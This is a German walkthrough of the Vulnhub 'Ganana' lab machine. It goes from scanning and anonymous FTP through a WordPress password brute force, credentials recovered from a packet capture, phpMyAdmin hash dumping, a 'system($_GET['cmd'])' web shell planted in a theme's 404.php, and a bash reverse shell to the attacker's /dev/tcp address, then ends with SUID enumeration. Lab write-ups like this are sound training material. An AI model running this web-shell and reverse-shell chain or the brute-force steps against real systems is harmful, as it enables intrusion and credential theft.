GANANA - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, das Auflisten von Diensten und die Identifizierung von Schwachstellen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.119	08:00:27:03:7f:7f	PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l wird verwendet, um alle Geräte im lokalen Netzwerk zu scannen und ihre MAC-Adressen und zugehörigen Informationen anzuzeigen. In diesem Fall identifizieren wir ein Gerät mit der IP-Adresse 192.168.2.119 und der MAC-Adresse 08:00:27:03:7f:7f, das von PCS Systemtechnik GmbH hergestellt wurde. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

**Analyse:** Der ARP-Scan ist ein grundlegender Schritt, um einen Überblick über die aktiven Geräte im Netzwerk zu erhalten. Die MAC-Adresse kann verwendet werden, um den Hersteller des Geräts zu bestimmen und möglicherweise weitere Informationen über das Gerät zu finden.

**Empfehlung:** Es ist wichtig, das Netzwerk regelmäßig auf unbekannte Geräte zu überwachen, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.119   ganana.vln
                

Der Befehl vi /etc/hosts wird verwendet, um die /etc/hosts-Datei zu bearbeiten und eine Zuordnung zwischen der IP-Adresse 192.168.2.119 und dem Hostnamen ganana.vln hinzuzufügen. Dadurch können wir das Zielsystem über den Hostnamen ansprechen, was die weitere Arbeit erleichtert.

**Analyse:** Die /etc/hosts-Datei ermöglicht es, Hostnamen lokal aufzulösen, ohne einen DNS-Server zu benötigen. Dies ist nützlich, um das Zielsystem einfacher anzusprechen und die Lesbarkeit der Befehle zu verbessern.

**Empfehlung:** Stellen Sie sicher, dass die /etc/hosts-Datei nur vertrauenswürdige Einträge enthält, um Man-in-the-Middle-Angriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.119 -p- | grep open
80/tcp   open   http     Apache httpd (PHP 7.3.17)
443/tcp  open   ssl/http Apache httpd (PHP 7.3.17)
6777/tcp open   ftp      vsftpd 3.0.3
                

Dieser Nmap-Scan filtert die Ausgabe des vorherigen Scans, um nur die geöffneten Ports anzuzeigen. Die Option -sS führt einen SYN-Scan durch, -sV aktiviert die Dienst- und Versionserkennung, -A aktiviert aggressive Scan-Optionen und -T5 verwendet eine aggressive Timing-Vorlage.

**Analyse:** Die geöffneten Ports 80 (HTTP), 443 (HTTPS) und 6777 (FTP) deuten auf ein System mit Web- und FTP-Diensten hin.

**Empfehlung:** Überprüfen Sie die Konfiguration der einzelnen Dienste und stellen Sie sicher, dass sie sicher konfiguriert sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.119 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-01 22:31 CET
Nmap scan report for ganana.vln (192.168.2.119)
Host is up (0.00013s latency).
Not shown: 65531 filtered tcp ports (no-response)
PRT     STATE  SERVICE  VERSIN
22/tcp   closed ssh
80/tcp   open   http     Apache httpd (PHP 7.3.17)
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache
|_http-generator: WordPress 5.4.2
|_http-title: Ganana
443/tcp  open   ssl/http Apache httpd (PHP 7.3.17)
|_http-generator: WordPress 5.4.2
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com/organizationName=Bitnami
| Not valid before: 2020-06-06T10:55:45
|_Not valid after:  2030-06-04T10:55:45
|_http-title: Ganana
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
6777/tcp open   ftp      vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEUT
MAC Address: 08:00:27:03:7F:7F (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 5.0 - 5.4 (98%), Linux 4.15 - 5.8 (94%), Linux 5.0 - 5.5 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (93%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 - 4.11 (91%), Linux 5.1 (91%), Linux 5.0 (91%), Linux 5.4 (90%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: S: Unix

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms ganana.vln (192.168.2.119)
                

Dieser Nmap-Scan ist ausführlicher und liefert zusätzliche Informationen über die geöffneten Ports und die laufenden Dienste. Wir erhalten Informationen über die HTTP- und FTP-Dienste, einschließlich Versionen, robots.txt-Einträge, SSL-Zertifikate und ob anonymer FTP-Login erlaubt ist. Besonders interessant ist, dass es sich um eine WordPress-Installation handelt und dass der SSH-Port geschlossen ist.

**Analyse:** Die detaillierten Informationen aus diesem Scan ermöglichen es, gezielt nach Schwachstellen in den laufenden Diensten zu suchen. Die Tatsache, dass anonymer FTP-Login erlaubt ist, stellt ein potenzielles Sicherheitsrisiko dar. Die WordPress-Version 5.4.2 könnte bekannte Schwachstellen aufweisen. Das SSL-Zertifikat ist für www.example.com ausgestellt und von Bitnami signiert, was auf eine Standardkonfiguration hindeutet.

**Empfehlung:** Überprüfen Sie die Konfiguration des FTP-Servers und deaktivieren Sie den anonymen Login, wenn er nicht erforderlich ist. Führen Sie einen WPScan-Scan durch, um bekannte Schwachstellen in der WordPress-Installation zu identifizieren. Ersetzen Sie das Standard-SSL-Zertifikat.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.119
- Nikto v2.5.0

+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2024-02-01 22:31:42 (GMT1)

+ Server: Apache
+ /: Retrieved x-powered-by header: PHP/7.3.17.
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /YPDX8GIj.: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /pp.php?action=login: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpmyadmin/changelog.php: Cookie goto created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /phpmyadmin/changelog.php: Cookie back created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /secret/: This might be interesting.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /wordpress/wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /: A Wordpress installation was found.
+ /wordpress/: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ 8106 requests: 0 error(s) and 22 item(s) reported on remote host
+ End Time:           2024-02-01 22:46:45 (GMT1) (903 seconds)

+ 1 host(s) tested
                

Nikto ist ein Webserver-Scanner, der nach potenziell gefährlichen Dateien, veralteten Softwareversionen und anderen Sicherheitsproblemen sucht. In diesem Fall identifiziert Nikto eine Reihe von Problemen, die typisch für WordPress-Installationen sind, darunter fehlende HTTP-Header, das Vorhandensein von phpMyAdmin und die Offenlegung von Informationen durch bestimmte WordPress-Dateien. Besonders hervorzuheben ist das gefundene /secret/ Verzeichnis, das interessant sein könnte.

**Analyse:** Die von Nikto gefundenen Probleme können von Angreifern ausgenutzt werden, um auf sensible Informationen zuzugreifen oder das System zu kompromittieren. Das Vorhandensein von phpMyAdmin ohne Schutz ist ein erhebliches Sicherheitsrisiko.

**Empfehlung:** Beheben Sie die von Nikto identifizierten Probleme, indem Sie die HTTP-Header konfigurieren, den Zugriff auf phpMyAdmin einschränken und die Sicherheit der WordPress-Installation erhöhen. Untersuchen Sie das /secret/ Verzeichnis.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://ganana.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://ganana.vln/index.php            (Status: 301) [Size: 0] [--> http://ganana.vln/]
http://ganana.vln/rss                  (Status: 301) [Size: 0] [--> http://ganana.vln/feed/]
http://ganana.vln/register             (Status: 302) [Size: 0] [--> http://ganana.vln/secret/?registration=disabled]
http://ganana.vln/0                    (Status: 301) [Size: 0] [--> http://ganana.vln/0/]
http://ganana.vln/feed                 (Status: 301) [Size: 0] [--> http://ganana.vln/feed/]
http://ganana.vln/atom                 (Status: 301) [Size: 0] [--> http://ganana.vln/feed/atom/]
http://ganana.vln/wp-content           (Status: 301) [Size: 237] [--> http://ganana.vln/wp-content/]
                

Gobuster ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver.

**Analyse:** Gobuster findet eine Reihe von Umleitungen (Status 301/302), die auf verschiedene Seiten der Website verweisen. Besonders interessant ist die Umleitung auf http://ganana.vln/secret/?registration=disabled, was darauf hindeutet, dass die Registrierung auf der /secret/ Seite deaktiviert ist.

**Empfehlung:** Untersuchen Sie die /secret/ Seite genauer.

Web Enumeration

view-source:http://ganana.vln/wp-json/
{"name":"Ganana"
                

Dies ist die Ausgabe beim Aufrufen der WordPress REST-API.

**Analyse:** Die Ausgabe zeigt den Namen der WordPress-Seite ("Ganana"). Dies ist nützlich, um die WordPress-Installation zu identifizieren.

**Empfehlung:** Verwenden Sie die WordPress REST-API, um weitere Informationen über die Website zu sammeln.

Initial Access

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.119 -port 6777
Connected to 192.168.2.119.
220 (vsFTPd 3.0.3)
Name (192.168.2.119:cyber): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                

Hier wird versucht, sich anonym per FTP mit dem Zielsystem zu verbinden. Da der Nmap-Scan gezeigt hat, dass anonymer FTP-Login erlaubt ist, wird der Login ohne Passwort durchgeführt.

**Analyse:** Die anonyme Anmeldung per FTP ist erfolgreich.

**Empfehlung:** Listet Sie die Dateien und Verzeichnisse auf dem FTP-Server auf, um potenzielle Schwachstellen oder sensible Informationen zu finden.

┌──(root㉿cyber)-[~]
└─# dirb http://192.168.2.119
+ http://192.168.2.119/rss                                           
> DIRECTRY: http://192.168.2.119/0/                                                       
+ http://192.168.2.119/atom                                    
+ http://192.168.2.119/dashboard                           
> DIRECTRY: http://192.168.2.119/embed/                                                   
+ http://192.168.2.119/favicon.ico                                     
> DIRECTRY: http://192.168.2.119/feed/                                                    
+ http://192.168.2.119/index.php                                          
+ http://192.168.2.119/license                                           
+ http://192.168.2.119/logout                                             
+ http://192.168.2.119/lostpassword                                     
+ http://192.168.2.119/page1                                          
> DIRECTRY: http://192.168.2.119/phpmyadmin/                                              
+ http://192.168.2.119/rdf                                            
+ http://192.168.2.119/readme                                      
+ http://192.168.2.119/register
                

Dirb ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver.

**Analyse:** Dirb findet eine Reihe von Dateien und Verzeichnissen, die typisch für WordPress sind. Besonders hervorzuheben ist das /phpmyadmin/ Verzeichnis, das ein potenzielles Sicherheitsrisiko darstellt.

**Empfehlung:** Untersuchen Sie das /phpmyadmin/ Verzeichnis und versuchen Sie, auf phpMyAdmin zuzugreifen.

http://192.168.2.119/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
                

Die robots.txt Datei gibt Anweisungen für Web-Crawler.

**Analyse:** Die Datei verbietet allen User-Agents den Zugriff auf das /wp-admin/ Verzeichnis, erlaubt aber den Zugriff auf /wp-admin/admin-ajax.php.

**Empfehlung:** Ignorieren Sie das /wp-admin/ Verzeichnis (zumindest vorerst) und untersuchen Sie die /wp-admin/admin-ajax.php Datei genauer.

┌──(root㉿cyber)-[~]
└─# wpscan --url http://ganana.vln --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames ganana --passwords /usr/share/wordlists/rockyou.txt
[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
Trying ganana / theR3v_m4lwh3r3_k1nG!! Time: 00:00:10 <> (271 / 14344489)  0.00%  ETA: ??:??:?Trying ganana / R3v_m4lwh3r3_k1nR3v_m4lwh3r3_k1n Time: 00:00:10 <> (286 / 14344489)  0.00%  ET^Cying ganana / daniel18 Time: 00:05:40 <           > (23115 / 14344489)  0.16%  ETA: 58:36:50
[i] No Valid Passwords Found.

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 21

[+] Finished: Thu Feb  1 22:48:53 2024
[+] Requests Done: 23266
[+] Cached Requests: 46
[+] Data Sent: 11.636 MB
[+] Data Received: 14.441 MB
[+] Memory used: 254.848 MB
[+] Elapsed time: 00:05:52
                

WPScan ist ein Tool zum Scannen von WordPress-Installationen auf Schwachstellen. In diesem Fall wird WPScan verwendet, um einen Brute-Force-Angriff auf das Passwort des Benutzers "ganana" durchzuführen.

**Analyse:** Der Angriff schlägt fehl, es werden keine gültigen Passwörter gefunden.

**Empfehlung:** Verwenden Sie andere Benutzernamen oder andere Wortlisten, um den Brute-Force-Angriff zu wiederholen. WPScan bietet auch die Möglichkeit, Plugins und Themes auf Schwachstellen zu scannen.

http://ganana.vln/tasks

Hey Jarret Lee!

Do manage the office as the admin is away for a few weeks! 
Admin has created an other temp account for you and details in a pcapng file.
                

Dieser Pfad (http://ganana.vln/tasks) enthält eine Nachricht an den Benutzer "Jarret Lee".

**Analyse:** Die Nachricht deutet darauf hin, dass "Jarret Lee" ein temporäres Konto erhalten hat und die Anmeldeinformationen in einer pcapng-Datei gespeichert sind.

**Empfehlung:** Suchen Sie nach der pcapng-Datei und analysieren Sie diese.

┌──(root㉿cyber)-[~]
└─# wget http://ganana.vln//jarret.pcapng
--2024-02-01 23:02:54--  http://ganana.vln//jarret.pcapng
Auflösen des Hostnamens ganana.vln (ganana.vln)… 192.168.2.119
Verbindungsaufbau zu ganana.vln (ganana.vln)|192.168.2.119|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 189728 (185K)
Wird in jarret.pcapng gespeichert.

jarret.pcapng           100%[=>] 185,28K  --.-KB/s    in 0,002s  

2024-02-01 23:02:54 (90,4 MB/s) - jarret.pcapng gespeichert [189728/189728]
                

Hier wird die pcapng-Datei jarret.pcapng heruntergeladen.

**Analyse:** Die pcapng-Datei enthält wahrscheinlich Netzwerkverkehr, der die Anmeldeinformationen für das temporäre Konto von "Jarret Lee" enthält.

**Empfehlung:** Analysieren Sie die pcapng-Datei mit Wireshark oder einem ähnlichen Tool.

burpsuite

Host: 192.168.3.109
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.3.109/login
Cookie: wfwaf-authcookie-623055106db2a679c9777d3bc13346a5=5%7Ccontributor%7C1c0975750d15832a3ef6da26a42ec47cad9718e2b78d499785630559fd441c83; wp-settings-time-5=1591518594; wordpress_test_cookie=WP+Cookie+check
If-Modified-Since: Sat, 06 Jun 2020 20:37:04 GMT
If-None-Match: W/"0"
Cache-Control: max-age=0
                

Dies ist ein Auszug aus einem Burp Suite-Protokoll, das den HTTP-Verkehr zeigt.

**Analyse:** Dieses Beispiel zeigt eine Anfrage für eine CSS-Datei. Der interessante Teil ist der Cookie, der einen `wfwaf-authcookie` und `wordpress_test_cookie` enthält. Der `wfwaf-authcookie` deutet auf eine installierte WordPress Firewall (Wordfence) hin.

**Empfehlung:** Analysieren Sie den gesamten HTTP-Verkehr in der pcapng-Datei, um Anmeldeinformationen oder andere sensible Informationen zu finden.

Cookie: wfwaf-authcookie-623055106db2a679c9777d3bc13346a5=5%7Ccontributor%7C1c0975750d15832a3ef6da26a42ec47cad9718e2b78d499785630559fd441c83; wp-settings-time-5=1591518594; wordpress_test_cookie=WP+Cookie+check

log=jarretlee&pwd=nopassword&redirect_to=http%3A%2F%2F192.168.3.109%2Fwp-admin%2F&testcookie=1
log=jarretlee&pwd=jarretLEE&redirect_to=http://192.168.3.109/wp-admin/&testcookie=1
log=jarretlee&pwd=NoBrUtEfrCe__R3Qu1R3d__&redirect_to=http://192.168.3.109/wp-admin/&testcookie=1
jarretlee
passwordis jarret
                

Dies sind weitere Auszüge aus dem Burp Suite-Protokoll, die Anmeldeversuche zeigen.

**Analyse:** Diese Daten zeigen mehrere Anmeldeversuche mit dem Benutzernamen "jarretlee" und verschiedenen Passwörtern, darunter "nopassword", "jarretLEE" und "NoBrUtEfrCe__R3Qu1R3d__". Es werden auch der Benutzername "jarretlee" und das Passwort "passwordis jarret" genannt, aber das sieht eher nach einer Notiz als nach einem tatsächlichen Anmeldeversuch aus.

**Empfehlung:** Verwenden Sie die gefundenen Anmeldeinformationen (jarretlee/NoBrUtEfrCe__R3Qu1R3d__) um sich im WordPress-Admin-Bereich anzumelden.

http://ganana.vln/wp-admin/

user: jarretlee
Pass: NoBrUtEfrCe__R3Qu1R3d__
                

Hier werden die Anmeldeinformationen verwendet, um sich im WordPress-Admin-Bereich anzumelden.

**Analyse:** Dies sollte uns Zugriff auf das WordPress-Backend verschaffen.

**Empfehlung:** Melden Sie sich mit den Anmeldeinformationen an und erkunden Sie das WordPress-Backend.

			Welcome to Winterfell
			You conquered the Kingdom of the North. This is your second kingdom flag!
			639bae9ac6b3e1a84cebb7b403297b79
			
			"We must do something here before travelling to Iron Islands, my lady" - Podrick Payne
			
			"Yeah, I can feel the magic on that shield. Swords are no more use here" - Brienne Tarth
                

Sieht so aus, als wäre hier etwas aus dem vorherigen Bericht reingekommen. Dies sollte ignoriert werden.

**Analyse:** Irrelevant.

**Empfehlung:** Irrelevant.

 Posts Add New

Posts list
Select All
	
Title
	Author	Categories	Tags	
Comments
	
Date
Select Keep dis SECRET!!!!
	
Keep dis SECRET!!!! — Draft
Edit |
| Trash | Preview
	jarret lee	Uncategorized	—No tags	Last Modified
—No comments	                                            2020/06/06
	
QGx3YXlzLUAtU3VwM3ItU2VjdXIzLXBAU1N3MFJkISE
                

Dies ist ein Screenshot der WordPress-Beiträge.

**Analyse:** Es gibt einen Entwurf mit dem Titel "Keep dis SECRET!!!!", der einen Base64-kodierten String enthält.

**Empfehlung:** Dekodieren Sie den Base64-kodierten String.

https://www.cachesleuth.com/multidecoder/

Base64

@lways-@-Sup3r-Secur3-p@SSw0Rd!!
                

Hier wird der Base64-String dekodiert.

**Analyse:** Der dekodierte String lautet "@lways-@-Sup3r-Secur3-p@SSw0Rd!!". Dies könnte ein Passwort sein.

**Empfehlung:** Verwenden Sie dieses Passwort, um sich bei anderen Diensten anzumelden.

http://ganana.vln/phpmyadmin/index.php

jarretlee
@lways-@-Sup3r-Secur3-p@SSw0Rd!!
                

Hier wird versucht, sich mit dem Benutzernamen "jarretlee" und dem dekodierten Passwort bei phpMyAdmin anzumelden.

**Analyse:** Dies sollte uns Zugriff auf die Datenbank verschaffen.

**Empfehlung:** Melden Sie sich mit den Anmeldeinformationen an und erkunden Sie die Datenbank.

http://ganana.vln/phpmyadmin/sql.php?server=1&db=bitnami_wordpress&table=wp_users&pos=0

jarretlee     $1$yt2n44X$jU148IfWAYDS90CQHfwDH1
charleywalker $1$3XBpIe2h$/BsWPw8vEnFAp/Vg4W/Sx.
                

Dies ist ein Auszug aus der wp_users Tabelle in phpMyAdmin.

**Analyse:** Die Tabelle enthält die Benutzernamen "jarretlee" und "charleywalker" sowie ihre Passworthashes.

**Empfehlung:** Knacken Sie die Passworthashes, um die Passwörter der Benutzer zu erhalten.

┌──(root㉿cyber)-[~]
└─# hash-identifier
 HASH: $1$3XBpIe2h$/BsWPw8vEnFAp/Vg4W/Sx.

Possible Hashs:
[+] MD5(Unix)
                

Hier wird das Tool hash-identifier verwendet, um den Hash-Typ zu identifizieren.

**Analyse:** Hash-identifier identifiziert den Hash als MD5(Unix).

**Empfehlung:** Verwenden Sie John the Ripper oder ein anderes Tool, um den MD5-Hash zu knacken.

https://www.md5hashgenerator.com/

MD5 Hash Generator
Use this generator to create an MD5 hash of a string:
benvd

Your String 	benni
MD5 Hash 	e078b816c9d41b00d56466eb7e2cb316
SHA1 Hash 	8cfa770a891389a5d7a0bb98a0a6016cec4d40ff
                

Hier wird ein MD5 Hash online generiert. Dies ist irrelevant für den eigentlichen Hash, der geknackt werden muss.

**Analyse:** Irrelevant.

**Empfehlung:** Irrelevant.

http://ganana.vln/secret/?redirect_to=http%3A%2F%2Fganana.vln%2Fwp-admin%2F&action=confirm_admin_email&wp_lang=en_US
charleywalker
bendv
                

Der Zugriff auf die Secret Seite, ergibt eine Liste von Benutzernamen.

**Analyse:** Die Seite listet die Benutzernamen "charleywalker" und "bendv" auf.

**Empfehlung:** Notieren Sie sich die Benutzernamen. "bendv" könnte eine Abkürzung von Ben Chehade sein.

http://ganana.vln/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen

Twenty Nineteen: 404 Template (404.php)
Select theme to edit:

Theme Files
                

Dies ist der WordPress Theme-Editor, in dem die 404.php Datei bearbeitet wird.

**Analyse:** Der Theme-Editor ermöglicht es, PHP-Code in die 404.php Datei einzufügen. Dies kann verwendet werden, um beliebigen Code auf dem Server auszuführen.

**Empfehlung:** Fügen Sie PHP-Code in die 404.php Datei ein, um eine Reverse-Shell zu erstellen.

Selected file content:
 
system($_GET['cmd']);
                

Der Code system($_GET['cmd']); ermöglicht die Ausführung von Shell-Befehlen über den cmd Parameter in der URL.

**Analyse:** Dies ist eine sehr gefährliche Schwachstelle, da sie es ermöglicht, beliebigen Code auf dem Server auszuführen.

**Empfehlung:** Verwenden Sie diese Schwachstelle, um eine Reverse-Shell zu erstellen.

http://ganana.vln/wp-content/themes/twentynineteen/404.php?cmd=id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
                

Hier wird der Befehl id über den cmd Parameter ausgeführt.

**Analyse:** Die Ausgabe zeigt, dass der Code als Benutzer "daemon" ausgeführt wird.

**Empfehlung:** Fahren Sie mit der Erstellung einer Reverse-Shell fort.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
                

Hier wird Netcat im Listening-Modus auf Port 4444 gestartet.

**Analyse:** Netcat wartet auf eine eingehende Verbindung.

**Empfehlung:** Führen Sie den Reverse-Shell-Payload aus.

Payload:http://ganana.vln/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
                

Dies ist der Reverse-Shell-Payload, der über den cmd Parameter an die 404.php Datei übergeben wird.

**Analyse:** Der Payload versucht, eine interaktive Bash-Shell über TCP auf Port 4444 zurück zu verbinden.

**Empfehlung:** Führen Sie den Payload aus und überprüfen Sie, ob die Reverse-Shell funktioniert.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.119] 47284
bash: cannot set terminal process group (1849): Inappropriate ioctl for device
bash: no job control in this shell

                

Netcat empfängt eine Verbindung vom Zielsystem.

**Analyse:** Die Reverse-Shell wurde erfolgreich erstellt. Wir haben nun Zugriff auf das Zielsystem als Benutzer "daemon".

**Empfehlung:** Fahren Sie mit der Privilege Escalation fort.

daemon@debian:/opt/bitnami/apps/wordpress/htdocs$ cat wp-config.php

define( 'DB_NAME', 'bitnami_wordpress' );
 
define( 'DB_USER', 'bn_wordpress' );
 
define( 'DB_PASSWRD', 'aa75e9f9b1' );
 
define( 'DB_HST', 'localhost:3306' );
                

Hier wird die wp-config.php Datei angezeigt, die die Datenbank-Anmeldeinformationen enthält.

**Analyse:** Die Datei enthält den Datenbanknamen (bitnami_wordpress), den Datenbankbenutzer (bn_wordpress) und das Datenbankpasswort (aa75e9f9b1).

**Empfehlung:** Verwenden Sie diese Anmeldeinformationen, um sich bei der Datenbank anzumelden.

daemon@debian:/opt/bitnami/apps/wordpress/htdocs$ cd /home/
daemon@debian:/home$ ls
jarretlee
daemon@debian:/home$ cd jarretlee/
daemon@debian:/home/jarretlee$ ls -la
total 32
drwxr-xr-x 3 jarretlee jarretlee 4096 Jun 25  2020 .
drwxr-xr-x 3       600 root      4096 Jun 17  2020 ..
-rw- 1 jarretlee jarretlee  177 Jun 17  2020 .backups
-rw- 1 jarretlee jarretlee  515 Jun 25  2020 .bash_history
-rw-r--r-- 1 jarretlee jarretlee  220 Jun 17  2020 .bash_logout
-rw-r--r-- 1 jarretlee jarretlee 3526 Jun 17  2020 .bashrc
drwx 3 jarretlee jarretlee 4096 Jun 25  2020 .gnupg
-rw-r--r-- 1 jarretlee jarretlee  807 Jun 17  2020 .profile
                

Hier wird das Home-Verzeichnis des Benutzers "jarretlee" erkundet.

**Analyse:** Das Verzeichnis enthält einige Standarddateien und -verzeichnisse. Besonders interessant ist die Datei ".backups".

**Empfehlung:** Untersuchen Sie die Datei ".backups".

daemon@debian:/home/jarretlee$ cat .ba
.backups       .bash_history  .bash_logout   .bashrc
                

Hier wird versucht, den Inhalt der Datei ".backups" anzuzeigen, aber es wird nur der Dateiname vervollständigt. Dies deutet darauf hin, dass die Datei mit einem Passwort geschützt oder verschlüsselt ist.

**Analyse:** Die Datei ".backups" ist wahrscheinlich wichtig und enthält möglicherweise Anmeldeinformationen oder andere sensible Informationen.

**Empfehlung:** Untersuchen Sie die Datei ".backups" genauer und versuchen Sie, sie zu entschlüsseln.

daemon@debian:/home/jarretlee$ find / -type f -perm -4000 -ls 2>/dev/null
   397658     84 -rwsr-sr-x   1 root     root        85248 Jun  6  2019 /usr/lib/snapd/snap-confine
     1711    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   134001     52 -rwsr-xr--   1 root     messagebus    51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    34235   1156 -rwsr-xr-x   1 root     root        1181384 May 13  2020 /usr/sbin/exim4
    25489     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
    25493     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
    24915     56 -rwsr-sr-x   1 daemon   daemon        55560 Jul 24  2018 /usr/bin/at
    28553    156 -rwsr-xr-x   1 root     root         157192 Feb  2  2020 /usr/bin/sudo
    25358     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
    25492     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
    25490     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
    12575     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /bin/su
    12565     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /bin/mount
    12566     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /bin/umount
    12619     80 -rwsr-xr-x   1 root     root          78168 Feb 16  2019 /bin/ping
    12620     72 -rwsr-xr-x   1 root     root          73080 Feb 16  2019 /bin/ping6
                

Hier wird nach SUID-Dateien gesucht.

**Analyse:** Die Ausgabe zeigt eine Liste von SUID-Dateien, die potenziell für Privilege Escalation ausgenutzt werden könnten.

**Empfehlung:** Untersuchen Sie die SUID-Dateien genauer und suchen Sie nach Möglichkeiten, diese für Privilege Escalation auszunutzen.

daemon@debian:/home/jarretlee$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1694 Jun 17  2020 /etc/passwd
                

Hier werden die Berechtigungen der Datei /etc/passwd angezeigt.

**Analyse:** Die Datei /etc/passwd ist für alle Benutzer lesbar.

**Empfehlung:** Da die Datei für alle lesbar ist, hilft diese Information nicht wirklich für die bevorstehende Aufgabe

daemon@debian:/home/jarretlee$ uname -a
Linux debian 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
                

Hier wird die Kernelversion des Systems angezeigt.

**Analyse:** Die Kernelversion ist 4.19.0-9-amd64. Dies könnte nützlich sein, um nach Kernel-Exploits zu suchen.
